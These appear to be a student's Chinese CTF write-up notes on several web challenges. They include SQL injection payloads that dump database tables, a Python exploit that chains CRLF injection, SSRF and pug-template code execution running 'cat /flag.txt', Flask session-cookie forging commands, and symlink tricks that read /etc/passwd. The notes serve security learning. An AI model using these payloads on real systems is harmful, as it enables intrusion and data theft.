[GKCTF 2021]easycms 知识点:蝉知cms漏洞复现 https://blog.csdn.net/weixin_50464560/article/details/119766251
October 2019 Twice SQL Injection 知识点:二次注入
payload select info from users where username='{$_SESSION[' username']}' ; insert into users (username,password ,info) values ('upload\'',' {$password }',' 十月太懒,没有简介');") select info from users where username=' {$_SESSION['username' ]}'; select info from users where username=' 1 ' union select 1; -- --' ; 1' union select database () select info from users where username='1' union select database (); select info from users where username='1' union select group_concat (table_name) from information_schema.tables where table_schema='ctftraining' ; flag 1' union select group_concat (column_name) from information_schema.columns where table_name='flag' ; flag select info from users where username='1' union select group_concat (flag) from ctftraining.flag;
$_SESSION['username'] = $res['username'];
session的值就是输入的值!再用session的值查询就造成二次注入了!
[GYCTF2020]Node Game 知识点:CRLF头部注入 nodejs8漏洞 pug 入门
fs模块操作文件
这里既然考的是CRLF头部注入, 注入点!
主要是因为modejs8对unicode码解析出问题了!
利用这个点我们可以构造ssrf!
import requestspayload = """ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive POST /file_upload HTTP/1.1 Host: 127.0.0.1 Content-Length: {} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryImTcniScGca61AF4 Connection: keep-alive {}""" .replace('\n' , '\r\n' )body = """ ------WebKitFormBoundaryImTcniScGca61AF4 Content-Disposition: form-data; name="file"; filename="flag.pug" Content-Type: ../template -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()") -return x ------WebKitFormBoundaryImTcniScGca61AF4-- """ .replace('\n' , '\r\n' ).replace('+' , '\u012b' )payload = payload.format(len(body), body) \ .replace(' ' , '\u0120' ) \ .replace('\r\n' , '\u010d\u010a' ) \ .replace('"' , '\u0122' ) \ .replace("'" , '\u0127' ) \ .replace('[' , '\u015b' ) \ .replace(']' , '\u015d' ) \ .replace('(' , '\u0128' ) \ + 'GET' + '\u0120' + '/' print(requests.get('http://31345760-bc66-4903-ab6e-afddf6f2a2ce.node4.buuoj.cn:81/core?q=' + payload).content)
记一下绕过waf把!
上面是通过 nodejs8对unicode处理群体出现问题!
console.log(url)
源码里有这个!所以我理解的是要绕过一下!
这题看exp看的有点晕!我只能理解crlf注入!还有绕过waf!但是它unicode编码替换 和 其它exp编码替换我不懂!晕!
还有好多exp这里就不贴了!看不懂!
文章:https://www.cnblogs.com/W4nder/p/12806180.html
https://blog.z3ratu1.cn/%5BGYCTF2020%5Dnode%20game.html
https://0xgeekcat.github.io/Node-js%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0-GYCTF2020-Node-Game.html
https://guokeya.github.io/post/hz6_KR03h/
https://blog.5am3.com/2020/02/11/ctf-node1/#HackTM-CTF-2020-Draw-with-us
这些文章里注意一些小的细节:
pug模板不止#{}一种方式,还可以直接- code。
还有绕过waf: 1 编码 2 拼接
[HarekazeCTF2019]Easy Notes 知识点:session伪造
get_user $type 我们都可以控制! 而且这个题要求admin就行!现在就是伪造admin!
PHP反序列化入门之session反序列化
默认是 session序列化存储所用处理器。默认为php。
payload
因为:这里是bool型的!
payload export.php?type=.ff sess_-344 b15462737f386ff
伪造一下即可!
[SWPU2019]Web3 知识点:session伪造+软链接 payload python3 flask_session_cookie_manager3.py decode -c ".eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.YSYzsg.21VDfSeiUPk49N-jG9nZqGtcWgc" -s "keyqqqwwweee!@#$%^&*" python3 flask_session_cookie_manager3.py encode -s "keyqqqwwweee!@#$%^&*" -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"
ln -s是Linux的一种软连接,类似与windows的快捷方式 ln -s /etc/passwd forever404 这会出现一个forever404文本,里面包含密码 /proc/self 记录了系统运行的信息状态等,cwd (就是当前目录)指向当前进程运行目录的一个符号链接,即flask运行进程目录 ln -s /proc/self/cwd/flag/flag.jpg test zip -ry test.zip test
[BSidesCF 2019]Pick Tac Toe 知识点:玩赖的!
可以直接bp吃掉圈!🙄🙄🙄